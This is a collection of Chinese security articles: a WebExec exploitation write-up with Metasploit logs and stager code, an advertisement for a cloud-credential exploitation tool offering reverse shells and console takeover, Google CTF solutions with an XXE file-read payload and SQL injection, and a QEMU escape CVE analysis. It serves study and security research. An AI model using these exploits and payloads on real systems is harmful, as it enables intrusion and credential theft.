为了简化这种攻击，我写了一对Metasploit模块。一个是[辅助模块](https://github.com/iagox86/metasploit-framework-webexec/blob/master/lib/msf/core/exploit/smb/client/webexec.rb)，它实现此攻击以远程运行任意命令，另一个是[完整的漏洞利用模块](https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/exploits/windows/smb/webexec.rb)。两者都需要有效的SMB帐户（本地或域），并且两者都主要依赖于我编写的[WebExec库](https://github.com/CounterHack/webexec-metasploit/blob/cisco-webex-exploit/lib/msf/core/exploit/smb/client/webexec.rb)。
以下是使用辅助模块在一堆易受攻击的计算机上运行计算的示例：
msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit
[-] 192.168.56.105:445 - No service handle retrieved
[+] 192.168.56.105:445 - Command completed!
[-] 192.168.56.103:445 - No service handle retrieved
[+] 192.168.56.103:445 - Command completed!
[+] 192.168.56.104:445 - Command completed!
[+] 192.168.56.101:445 - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
这是完整的漏洞利用模块：
msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit
[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress - 0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress - 98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101
如果您查看上面链接的代码，那么实际的实现基本上是直截了当的，但是我想特别地谈谈利用模块，因为它有一个有趣的问题:如何首先让一个meterpreter
.exe加载来执行它?
我首先使用了一个类似于psexec的漏洞，我们将.exe文件上传到一个可写的共享中，然后通过WebExec执行它。事实证明，这是有问题的，因为上传到共享通常需要管理员权限，这时您可以简单地使用psexec。你失去了WebExec的魔力!
经过与[Egyp7](https://twitter.com/egyp7)的一些讨论，我意识到我可以使用Msf :: Exploit ::
CmdStager
mixin将命令转发到.exe文件到文件系统。使用.vbs的staging风格，它会将一个Base64编码的文件写入磁盘，然后使用.vbs存根来解码并执行它！
但是有几个问题：
* 最大行长度为1200个字符，而CmdStagermixin每一行使用2000个字符。
* CmdStager使用%TEMP%作为一个临时目录，但是我们的攻击没有扩展路径。
* WebExecService似乎用反斜杠转义引号，我不知道如何关闭它。
前两个问题可以通过添加选项来解决(一旦我找到了要使用的选项):
wexec(true) do |opts|
opts[:flavor] = :vbs
opts[:linemax] = datastore["MAX_LINE_LENGTH"]
opts[:temp] = datastore["TMPDIR"]
opts[:delay] = 0.05
execute_cmdstager(opts)
end
execute_cmdstager()将一遍又一遍地执行execute_command()来构建磁盘上的有效负载，这是我们修复最后一个问题的地方:
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
首先，它将空字符串替换为mid(Chr(65)， 1,0)，即字符串“A”中的字符1 - 1。或者空字符串!
其次,它取代其他字符串对应(n)+(n)从而向+ ....我们不能使用&，因为shell已经使用了&来链接命令。后来我得知,我们可以逃避它,用^
&,工作得很好,但+短所以我坚持。
最后，我们将cmd /c前置到命令中，这样我们就可以回显到一个文件中，而不只是将>符号传递给进程。我们可以使用^ >。
在有针对性的攻击中，显然可以更干净地做到这一点，但这似乎是一般来说这样做的好方法！
在有针对性的攻击中，显然可以更干净地完成这项任务，但这似乎是一种很好的通用方式!
# 检查补丁
这是很少出现(或者可能不是很少见)的情况之一，在这种情况下，利用漏洞实际上比检查更容易!
补丁版本的WebEx仍然允许远程用户连接到进程并启动它。然而，如果进程检测到它被要求运行一个未被WebEx签名的可执行文件，那么执行就会停止。不幸的是，这没有给我们任何关于主机是否脆弱的信息!
有很多针对目标的方法可以验证代码是否运行。我们可以使用DNS请求，telnet返回到特定的端口，在webroot中删除文件等等。
为了利用这一点，您必须能够获得service-controlservice
(svcctl)的句柄，因此为了编写检查程序，我决定安装一个假服务，尝试启动它，然后删除该服务。如果启动服务返回OK或ACCESS_DENIED，我们知道它工作正常!
下面是我们开发的[Nmap检查器模块](https://github.com/iagox86/nmap-webexec/blob/master/scripts/smb-vuln-webexec.nse)的重要代码:
-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))
-- ...
local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
stdnse.debug("Result: Test service does not exist: probably not vulnerable")
msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
vuln.check_results = "Could not execute code via WebExService"
return report:make_output(vuln)
end
未显示：我们也会在完成后删除该服务。
# 结论
就是这样!使用WebEx的内置更新服务从0提升到system权限!本地和远程!查看[webexec.org](https://webexec.org/)上的工具和用法说明!
本文翻译自：<https://blog.skullsecurity.org/2018/technical-rundown-of-webexec> | 社区文章 |
# CF 云环境利用框架，一键化利用云上内网
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当我们平时拿到云服务的访问凭证即 Access Key 时，通常的做法可能是看下对方的 OSS 对象存储、或者在实例上执行个命令，但 AK
的利用远不止这些，通过 AK 我们可以做太多太多的事情，为了方便 AK 的利用，于是有了这个工具。
CF 是一个云环境利用框架，主要用来方便红队人员在获得云服务的访问凭证的后续工作。
项目地址：[github.com/teamssix/cf](https://github.com/teamssix/cf)
下载地址：[github.com/teamssix/cf/releases](https://github.com/teamssix/cf/releases)
> 代码完全开源，师傅们可以放心使用，提前祝师傅打下一个又一个点、拿下一个又一个云上管理员权限。
截止到 2022 年 7 月 10 日，CF 已迭代到 v0.2.2 版本，目前 CF 仅支持阿里云，当前 CF 已支持以下功能：
* 一键列出目标 AK 的 OSS、ECS、RDS 服务
* 一键获得实例上的临时访问凭证
* 一键为实例反弹 Shell
* 一键接管控制台
* 一键为所有实例执行三要素，方便你懂得
* 一键查看当前配置的权限
* ……
## 使用手册
使用手册请参见：[wiki.teamssix.com/cf](https://wiki.teamssix.com/cf)
## 简单上手
配置 CF
cf configure
一键列出当前访问凭证的云服务资源
cf ls
一键列出当前访问凭证的权限
cf ls permissions
一键接管控制台
cf console
查看 CF 为实例执行命令的操作的帮助信息
cf ecs exec -h
一键为所有实例执行三要素，方便你懂得
cf ecs exec -b
一键获取实例中的临时访问凭证数据
cf ecs exec -m
如果感觉还不错的话，师傅记得给个 Star 呀 ~，另外 CF
的更多使用方法可以参见使用手册：[wiki.teamssix.com/cf](https://wiki.teamssix.com/cf) | 社区文章 |
周末刚好没有太多的事情，参加了 Google CTF 来玩玩，印象中是第一次参加这个比赛。总的来说 google 题目还是属于质量不错的一类，但是 web
题目难度梯度太大了，前面二道还可以接受，但是最后二道好像到比赛结束都是零解，佛了 ~ 佛了 ~
通过阅读本文章，你将学会：
* blind XXE by local dtd
* SQL injection by order with side channels
* 组合数学
### bnv
题目链接是：<https://bnv.web.ctfcompetition.com/>
访问主页会看到：
查看源代码看到有一个 post.js 文件，访问可以得到重要的 javascript 代码：
function AjaxFormPost() {
var datasend;
var message = document.getElementById('message').value;
message = message.toLowerCase();
var blindvalues = [
'10', '120', '140', '1450', '150', '1240', '12450',
'1250', '240', '2450', '130', '1230', '1340', '13450',
'1350', '12340', '123450', '12350', '2340', '23450', '1360',
'12360', '24560', '13460', '134560', '13560',
];
var blindmap = new Map();
var i;
var message_new = '';
for (i = 0; i < blindvalues.length; i++) {
blindmap[i + 97] = blindvalues[i];
}
for (i = 0; i < message.length; i++) {
message_new += blindmap[(message[i].charCodeAt(0))];
}
datasend = JSON.stringify({
'message': message_new,
});
var url = '/api/search';
xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-type', 'application/json');
xhr.onreadystatechange =
function() {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log(xhr.getResponseHeader('Content-Type'));
if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {
try {
var json = JSON.parse(xhr.responseText);
document.getElementById('database-data').value = json['ValueSearch'];
}
catch(e) {;
document.getElementById('database-data').value = e.message;
}
}
else {
document.getElementById('database-data').value = xhr.responseText;
}
}
}
xhr.send(datasend);
}
这段代码就是把 City 输入框的值每个字母转换为小写再映射到 长度为 26 的 blindvalue 数组对应位置的数字，然后将这串数字发送到
`api/search` 后端，`Content-type` 类型是 `application/json`，如果使用 Burp 截取数据包如下：
首先，思考这个命名为 blindvalue
的数组是什么含义，为什么需要这么映射？联想主页的标题有许多点，我很快就意识到这可能是个盲文，果然通过搜索就找到这就是
[布莱叶盲文](https://zh.wikipedia.org/wiki/%E7%9 B%B2%E6%96%87) 。
然后对此我编写一个 py 脚本用于将小写字母映射到 blindvalue 数字：
# encoding:utf-8
blindvalues = [
'10', '120', '140', '1450', '150', '1240', '12450',
'1250', '240', '2450', '130', '1230', '1340', '13450',
'1350', '12340', '123450', '12350', '2340', '23450', '1360',
'12360', '24560', '13460', '134560', '13560',
]
msg = "Paris"
msg = msg.lower()
blindmap = {}
new = ""
for i in range(len(blindvalues)):
blindmap[i + 97] = blindvalues[i]
for j in range(len(msg)):
new += blindmap[ord(msg[j])]
print(new)
到这一步基本把题目的信息理解清楚了，接下来我考虑到几种思路：
* 盲文是否支持其他字符的映射？
* 不提交数字会引发服务器什么问题，是否存在注入等问题？
* 观察主页的 city 选项框的选项，全是 google 公司所在的城市（Zurish、Paris、Bangalore），题目的描述是：
> Please use the search engine below to find the closest association near you.
是否尝试提交其他城市的 message 可以获得 flag?
* 是否有其他可以提交的 json 健值对？
接下里的几个小时就是对这些思路的验证，非常遗憾没有一个能让我利用，也不存在其他的 json 键值对，并且服务器只允许提交这
Zurish、Paris、Bangalore 三个城市的盲文数字。在这过程中也有一些收获，比如：
* 知道目标服务器是 wsgi + flask 模式
* 后端使用 json.loads 解码 JSON 字符串
* 知道了 google 在全球的办公地点。。
后来突然想到既然是 `application/json` 那么是否支持 XML 呢？于是尝试了修改 `Content-type` 类型为
`application/xml`，竟然成功！下图返回结果说明服务端试图解析 XML 数据！
尝试网上公开的各种 XML 相关的利用：
* 本地文件读取
* 报错显示
* OOD 外带信息
* 等等
经过尝试发现，唯一可以成功利用的 payload 如下：
<?xml version="1.0" standalone = "no"?>
<!DOCTYPE message[<!ELEMENT message (#PCDATA)><!ENTITY test SYSTEM "file:///flag" >]>
<message>
&test;
</message>
如果 SYSTEM 后面引号部分的文件存在会返回 ：
No result found
如果不存在会返回：
Failure to process entity test, line 4, column 7
经过测试 `file:///flag` 是存在的，而且这里只支持 file
协议，因此你是无法将数据传递至外部服务器。这也是本题的一个难点，解决办法就是利用服务端的一个本地 dtd，然后重新定义它里面的一个 entity
触发错误，然后错误信息显示的时候会泄露你需要读取的文件内容。
尝试系统默认的 dtd：`/usr/share/yelp/dtd/docbookx.dtd`
> Systems using the **GNOME desktop environment** often have a DTD at
> /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.
最终利用 payload：
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
回显如下，得到 flag：
Invalid URI: file:///nonexistent/CTF{0x1033_75008_1004x0}, line 4, column 15
### gLotto
题目链接：<https://glotto.web.ctfcompetition.com/>，主页截图：
访问主页，发现有个源码链接跳至 `?src`，得到主页源码：
<?php
require_once('config.php');
require_once('watchdog.php');
function gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ')
{
$len = strlen($charset);
$rand = openssl_random_pseudo_bytes($count);
$secret = '';
for ($i = 0; $i < $count; $i++)
{
$secret .= $charset[ord($rand[$i]) % $len];
}
return $secret;
}
if (isset($_GET['src'])) {
die(highlight_string(file_get_contents(__FILE__)));
} else if (isset($_POST['code'])) {
session_start();
if (!isset($_SESSION['winner'])) die;
$win = $_SESSION['winner'];
unset($_SESSION['winner']);
session_destroy();
if ($_POST['code'] === $win)
{
die("You won! $flag");
} else {
sleep(5);
die("You didn't win :(<br>The winning ticket was $win");
}
}
session_start();
$tables = array(
'march',
'april',
'may',
'june',
);
$winner = gen_winner(12);
$_SESSION['winner'] = $winner;
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
//$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($db->connect_errno) {
printf("Connect failed: %s\n", $db->connect_error);
exit();
}
$db->query("SET @lotto = '$winner'");
for ($i = 0; $i < count($tables); $i++)
{
$order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : '';
if (stripos($order, 'benchmark') !== false) die;
${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : ""));
if (!${"result$i"}) die;
}
?>
首先我们需要理清程序的逻辑：
* 每次访问页面都会生成来自 `0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ` 随机 12 个字符，并赋值给 `$_SESSION['winner']`
* 然后将你的 `$_SESSION['winner']` 赋值给 MYSQL 数据库的 变量 `@lotto`
* 提交 code 如果为你的现在 session 里的 `$_SESSION['winner']` 值，则返回给你 flag，然后销毁这次 session
很明显这题的注入点在 `$db->escape_string($order)` 处，猜测服务端的 escape_string 方法使用了
mysql_real_escape_string，这个函数会转义下面这些字符：
* \x00
* \n
* \r
* \
* '
* "
* \x1a
但是这个函数不会转义 **反引号** ，这就给我们机会闭合反引号然后进行注入。尝试如下 payload
你会发现主页的第一个表只有一行结果显示，表明你的注入成功。
?order0=winner` limit 1%23
到这我就尝试研究 order 后面可以注入什么，我确定了几个思路：
* order by 这个位置的注入
* PROCEDURE 位置的注入
* 基于时间的盲注
* 基于回显得注入
首先说下二和三，这是我最先尝试的注入手段。PROCEDURE 是位于 limit 后面的函数，可以参考 P
神的文章：<https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html>
按照文章的思路得使用，时间盲注，sleep 行不通，但是 benmark 又被禁了
其他主流的时间盲注如下：
* get_lock：需要二个和 mysql 的会话，并且要维持其中一个会话一段时间，本题不适合
* 笛卡尔积：测试失败，服务器似乎没有默认的一些数据表
* RLIKE：测试失败
后面过了很久，我想到既然 order by + limit 可以影响主页返回的数据表顺序，那么我是否可以尝试一些利用这个特性回显服务器信息呢？
在之前无意的尝试中我发现，使用如下 payload 会泄露服务器的一些信息
date` limit 1 PROCEDURE analyse(1,1)%23
服务器数据库是 glotto，表名是 march，列名是 date 和 winner，那么其他三个表是
april、may、june。我尝试用这些表构造笛卡尔积的时间盲注还是没成功。但是随后的尝试我 google 到一个 order 排列数据表的方式：
?order0=winner` IS NOT NULL,RAND()%23
如果拼接到服务端的 SQL 会变成：
select * from march order by `winner` is not null,rand();
服务端会生成一列随机的数字然后根据这个数字大小排列数据表返回到题主页。并且我们知道 rand() 参数可以接受参数作为种子，下面我暂时我的二个测试
payload 和对应的结果来证明根据返回的主页信息不同我们可以猜解 SQL 的执行情况：
第一个 payload：
winner` IS NOT NULL, RAND(ascii(mid(database(),1,1))=103)#
第二个 payload：
inner` IS NOT NULL, RAND(ascii(mid(database(),1,1))=104)#
由于我们知道数据库是 glotto，因此第一个 SQL 的 rand() 里面参数为 True，第二个 SQL 的 rand() 里面为
False，然后二个 SQL 提交到主页后的结果分别如下：
可以看到根据显示结果的不同知道 database() 的第一个字符 ASCII 是 103 还是其他的值，只有 rand() 里面会
True，页面才显示左边的结果。
到这一步你可能觉得问题解决了，搞个二分法猜 @lotto 的每个字符就好了。当时我也是这么想的，但是仔细阅读 PHP 源码你会发现，每次你提交一个
payload （访问一次主页），服务器储存的 @lotto 都会改变！
也就是说要么你 **只能访问一次主页** 就必须获得 @lotto 的 **全部 12 个字符取值** ，要么 .... **放弃题目** 。
★：接下来就是本题的难点了，我寻思题目访问一次服务端其实可以执行 4 次 SQL （刚好对应 4 个表 March、April、May、June）
是否可以每一个 SQL 负责猜解三个字符呢（因为 @lotto 总共 12
个字符），这三个字符每一种取值情况对应该表显示在主页的一种排列，这样我只需要访问一次读取页面显示的结果就知道这 12 个字符的全部取值。对于 3
个字符，每个字符有 36 种取值，因此中国有
46656
种取值，而且我发现最长的是 April 表，有 9 行，全排列的可能为：
9! = 362880
这个数值是大于 46656 的，因此一种 April 表显示的结果排列对应三个字符的一种取值情况，这个方案是可行的！
但是问题来了，其他的表行数分别是 8 （March）,7 （May）,4 （June）。他们的全排列分别为 40320、5040、24。都小于
46656，特别是最后一个表只有 24 中全排列结果，根本无法猜解三个字符的全部可能情况。
数学一向很好的我是想到了，将这些表的全排列组合在一起！也就是每一种页面显示的 4 个数据表的总体情况代表我猜解的 12 个字符的 @lotto
一种取值，页面总体全排列：
> 注意不是（9+8+7+4)! 组合数学基本知识 ....
9! * 8！ * 7！* 4！ = 1769804660736000
12 个字符的 @lotto 取值情况有：
36 的 12 次方 = 4738381338321616896 （是 1769804660736000 的 2677 倍）
emmmmm 居然还是不够。这次我就懵逼了，难道还有可以泄露的信息能作为猜解字符的标识？
在这一步卡了真的特别久，无法继续好好解题了，中途还放弃过这个思路。真的是一脸懵逼呀
最后，我找到一个 **非常大胆并且独创** 的思路！既然我无法猜解出全部的 12 位，那么我是否可以值尽可能的猜出较多位的 @lotto
取值，其余的位就猜吧。
> 赛后我看到 ctftime 的 writeup （见参考链接），知道自己的思路是完全对的 :-)
>
> 但是到这步我的方法和 ctftime 的 writeup 就不同了
首先比较多少位的全部可能取值数量小于 1769804660736000 ：
print(36 ** 11 < 1769804660736000) # Flase
print(36 ** 10 < 1769804660736000) # Flase
print(36 ** 9 < 1769804660736000) # True
我们只需要利用 SQL 注入获得 @lotto 的前 9 位为即可，对于剩下三位我设计了如下思路来猜解：
> 注意，我们每个 Cookie session 只能访问主页一次不然该 session 对应的 @lotto 会变
* 3 位的全部取值可能性有 46656 种情况，由于服务器生成随机数会是一个很长的周期，我考虑在我发送真正的猜解 9 位 payload 之前，先发送猜解后三位的取值 payload 多次，得到差不多 10000 种后三位取值
* 考虑到服务器还会有其他选手访问，我只排除 10000 种我探测到的后三位取值，然后再发送猜解 @lotto 前 9 位的 payload 得到 @lotto 前 9 位的取值，后面三位从剩下的 3 万多种情况随机取一个
* 拼接出 12 个字符用 code 参数 POST 提交看是否正确，如果错误重复上述步骤
然后开个多线程去跑这套猜解流程，在我的服务器上经过 40 多分钟就得到正确的 12 位 @lotto，最终得到
CTF{3c2ca0d10a5d4bf44bc716d669e074b2}
### 参考链接
[wiki 盲文介绍](https://zh.wikipedia.org/wiki/%E7%9 B%B2%E6%96%87)
[json.loads 是否安全讨论](https://stackoverflow.com/questions/38813298/is-json-loads-vulnerable-to-arbitrary-code-execution)
[google 全部办公地点](https://careers.google.com/locations/)
[From blind XXE to root-level file read
access](https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/)
[XXE LOCAL DTD 参考文章](https://www.jishuwen.com/d/2EGU)
[P 神 limit 注入](https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html)
[rand() 工作机制](https://stackoverflow.com/questions/2663710/how-does-mysqls-order-by-rand-work)
[order
注入学习](http://www.beesfun.com/2017/03/22/MySQL%E6%B3%A8%E5%85%A5%E7%B3%BB%E5%88%97%E4%B9%8
Border-by-%E6%B3%A8%E5%85%A5-%E4%BA%8C/) | 社区文章 |
# 【漏洞分析】前往黑暗之门！Debugee in QEMU
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[k0shl](http://bobao.360.cn/member/contribute?uid=1353169030)
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**0x00 前言**
好久没给安全客投稿了，最近刚刚接触漏洞挖掘，一直在读一些经典的fuzzer源码，同时也开始接触虚拟化逃逸这块的内容，在这个时候正巧碰到了两个非常经典的漏洞利用，相信很多小伙伴也已经看过了，phrack前段时间刚刚更新了关于这个漏洞的详细利用过程。
我后来对这个漏洞进行了动态调试，并且通过phrack的paper恶补了一些关于虚拟机的工作原理，Guest OS和Host OS之间的一些知识。
在调试的过程中，我愈发觉得这两个漏洞作为前往黑暗之门入门再合适不过，通过对两个漏洞的分析和利用的调试，可以熟悉这类虚拟化漏洞的调试原理。今天，我将和大家分享QEMU虚拟化逃逸的调试环境搭建，关于CVE-2015-5165和CVE-2015-7504漏洞动态调试分析，以及补丁对比。
在此之前，我默认阅读此文的小伙伴们已经看过了phrack.org关于VM Escape Case
Study的文章，并且已经了解虚拟机工作的基本原理，包括但不限于内存管理机制，REALTEK网卡、PCNET网卡的数据包结构，Tx、Rx缓冲区等等。关于phrack.org的文章以及看雪翻译版分析文章的链接我将在文末给出。下面我们一起出发前往黑暗之门吧！
**0x01 QEMU环境搭建**
在调试QEMU虚拟化逃逸漏洞之前，我们需要搭建虚拟化逃逸的环境，首先通过git clone下载QEMU，并且通过git
check设定分支（如果要调试以前版本的话）。
$ git clone git://git.qemu-project.org/qemu.git
$ cd qemu
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make
在make的时候，Host OS会需要一些库的安装，可以通过apt-get来下载安装，比如zlib，glib-2.22等（其中glib-2.22也需要一些依赖，同时需要去网站下载，网站地址：<http://ftp.gnome.org/pub/gnome/sources/glib/2.22/>
）。
安装完毕后，会在/path/to/qemu/bin/debug/native/下生成一个x86_64-softmmu目录，在此之前，需要安装一个qcow2的系统文件，所以需要通过qemu-img来生成一个qcow2系统文件。
$ qemu-img create -f qcow2 ubuntu.qcow2 20G
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装，需要用-cdrom对iso镜像文件进行加载。同时，需要安装vncviewer，这样可以通过vncviewer对qemu启动的vnc端口进行连接。
$ qemu-system-x86_64 -enable-kvm -m 2048 -hda /path/to/ubuntu.qcow2 -cdrom /path/to/ubuntu.iso
$ apt-get install xvnc4viewer
通过vnc连接qemu之后，根据镜像文件提示进行安装，这里推荐还是用server.iso，因为安装比较快，用desktop的话可能会稍微卡顿一些，安装完成后就获得了一个有系统的qcow2文件，之后就可以用包含漏洞的rlt8139和pcnet网卡硬件启动了。
$ ./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 -drive file=/path/to/ubuntu.qcow2,format=qcow2,if=ide,cache=writeback
启动之后，这里我为了省事，直接用NAT的方法共享宿主机网络，然后在本地通过SimpleHTTPServer建立一个简单的HTTP
Server，通过wget方法获得两个漏洞的PoC，这两个漏洞PoC可以通过gcc -static的方法在本地编译后直接上传，然后运行即可。
之后在宿主机通过ps -ef|grep qemu找到qemu的启动进程，通过gdb attach pid的方法附加，按c继续运行就可以了，可以通过b
function的方法下断点，方便跟踪调试。
**0x02 CVE-2015-5165漏洞分析**
CVE-2015-5165是一个内存泄露漏洞，由于对于ip->ip_len和hlen长度大小没有进行控制，导致两者相减计算为负时，由于ip_data_len变量定义是unsigned类型，导致这个值会非常大，从而产生内存泄露。漏洞文件在/path/to/qemu/hw/net/rtl8139.c。
首先根据漏洞描述，漏洞发生在rtl8139_cplus_transmit_one函数中，通过b
rtl8139_cplus_transmit_one的方法在该函数下断点，之后运行PoC，命中函数后，首先函数会传入一个RTL8139State结构体变量。继续单步跟踪，会执行到一处if语句，这里会比较当前数据包头部是否是IPV4的头部。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x4
[-------------------------------------code-------------------------------------]
0x55b25db58480 <rtl8139_cplus_transmit_one+1854>:shr al,0x4
0x55b25db58483 <rtl8139_cplus_transmit_one+1857>:movzx eax,al
0x55b25db58486 <rtl8139_cplus_transmit_one+1860>:and eax,0xf
=> 0x55b25db58489 <rtl8139_cplus_transmit_one+1863>:cmp eax,0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db584892173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
可见此时确实是IPv4的结构，随后进入if语句的代码逻辑，在其中会调用be16_to_cpu对ip->ip_len进行转换，ip->ip_len的长度为0x1300，转换后长度为0x13。
[----------------------------------registers-----------------------------------]
RAX: 0x1300
RDI: 0x1300 //ip->ip_len
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55b25db584f7 <rtl8139_cplus_transmit_one+1973>:
movzx eax,WORD PTR [rax+0x2]
0x55b25db584fb <rtl8139_cplus_transmit_one+1977>:movzx eax,ax
0x55b25db584fe <rtl8139_cplus_transmit_one+1980>:mov edi,eax
=> 0x55b25db58500 <rtl8139_cplus_transmit_one+1982>:
call 0x55b25db54a37 <be16_to_cpu>
0x55b25db58505 <rtl8139_cplus_transmit_one+1987>:mov edx,eax
Guessed arguments:
arg[0]: 0x1300 //ip->ip_len=0x1300
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db585002181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x13 //经过be16_to_cpu()之后返回值为0x13
[-------------------------------------code-------------------------------------]
0x55b25db584fb <rtl8139_cplus_transmit_one+1977>:movzx eax,ax
0x55b25db584fe <rtl8139_cplus_transmit_one+1980>:mov edi,eax
0x55b25db58500 <rtl8139_cplus_transmit_one+1982>:
call 0x55b25db54a37 <be16_to_cpu>
=> 0x55b25db58505 <rtl8139_cplus_transmit_one+1987>:mov edx,eax
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db585052181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
转换后，会将转换后的值和hlen相减。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x14 //hlen=0x14
RDX: 0x13 //be16_to_cpu(ip->ip_len)=0x13
[-------------------------------------code-------------------------------------]
0x55b25db58500 <rtl8139_cplus_transmit_one+1982>:
call 0x55b25db54a37 <be16_to_cpu>
0x55b25db58505 <rtl8139_cplus_transmit_one+1987>:mov edx,eax
0x55b25db58507 <rtl8139_cplus_transmit_one+1989>:
mov eax,DWORD PTR [rbp-0x13c]
=> 0x55b25db5850d <rtl8139_cplus_transmit_one+1995>:sub edx,eax
0x55b25db5850f <rtl8139_cplus_transmit_one+1997>:mov eax,edx
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db5850d2181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RDX: 0xffffffff //相减之后为0xffffffff，这个变量是一个unsigned类型，此值极大
[-------------------------------------code-------------------------------------]
0x55b25db5850d <rtl8139_cplus_transmit_one+1995>:sub edx,eax
=> 0x55b25db5850f <rtl8139_cplus_transmit_one+1997>:mov eax,edx
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db5850f2181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
相减后，这个值为0xffffffff，而这个值是一个16位无符号数，也就是是一个极大值0xffff，我们可以通过源码看到关于这个变量的定义。
uint16_t ip_data_len = 0;
……
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
接下来继续单步跟踪，会发现ip_data_len这个极大值会被用来计算tcp_data_len，也就是tcp数据的长度，随后还有一个tcp_chunk_size，这个chunk_size限制了一个数据包的最大值，当tcp数据的长度超过chunk_size的时候，则会分批发送。
//计算tcp_data_len
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0xffff //ip_data_len
[-------------------------------------code-------------------------------------]
=> 0x55b25db586c2 <rtl8139_cplus_transmit_one+2432>:
sub eax,DWORD PTR [rbp-0x10c]//hlen的大小是0x14
0x55b25db586c8 <rtl8139_cplus_transmit_one+2438>:
mov DWORD PTR [rbp-0x108],eax
[------------------------------------------------------------------------------]
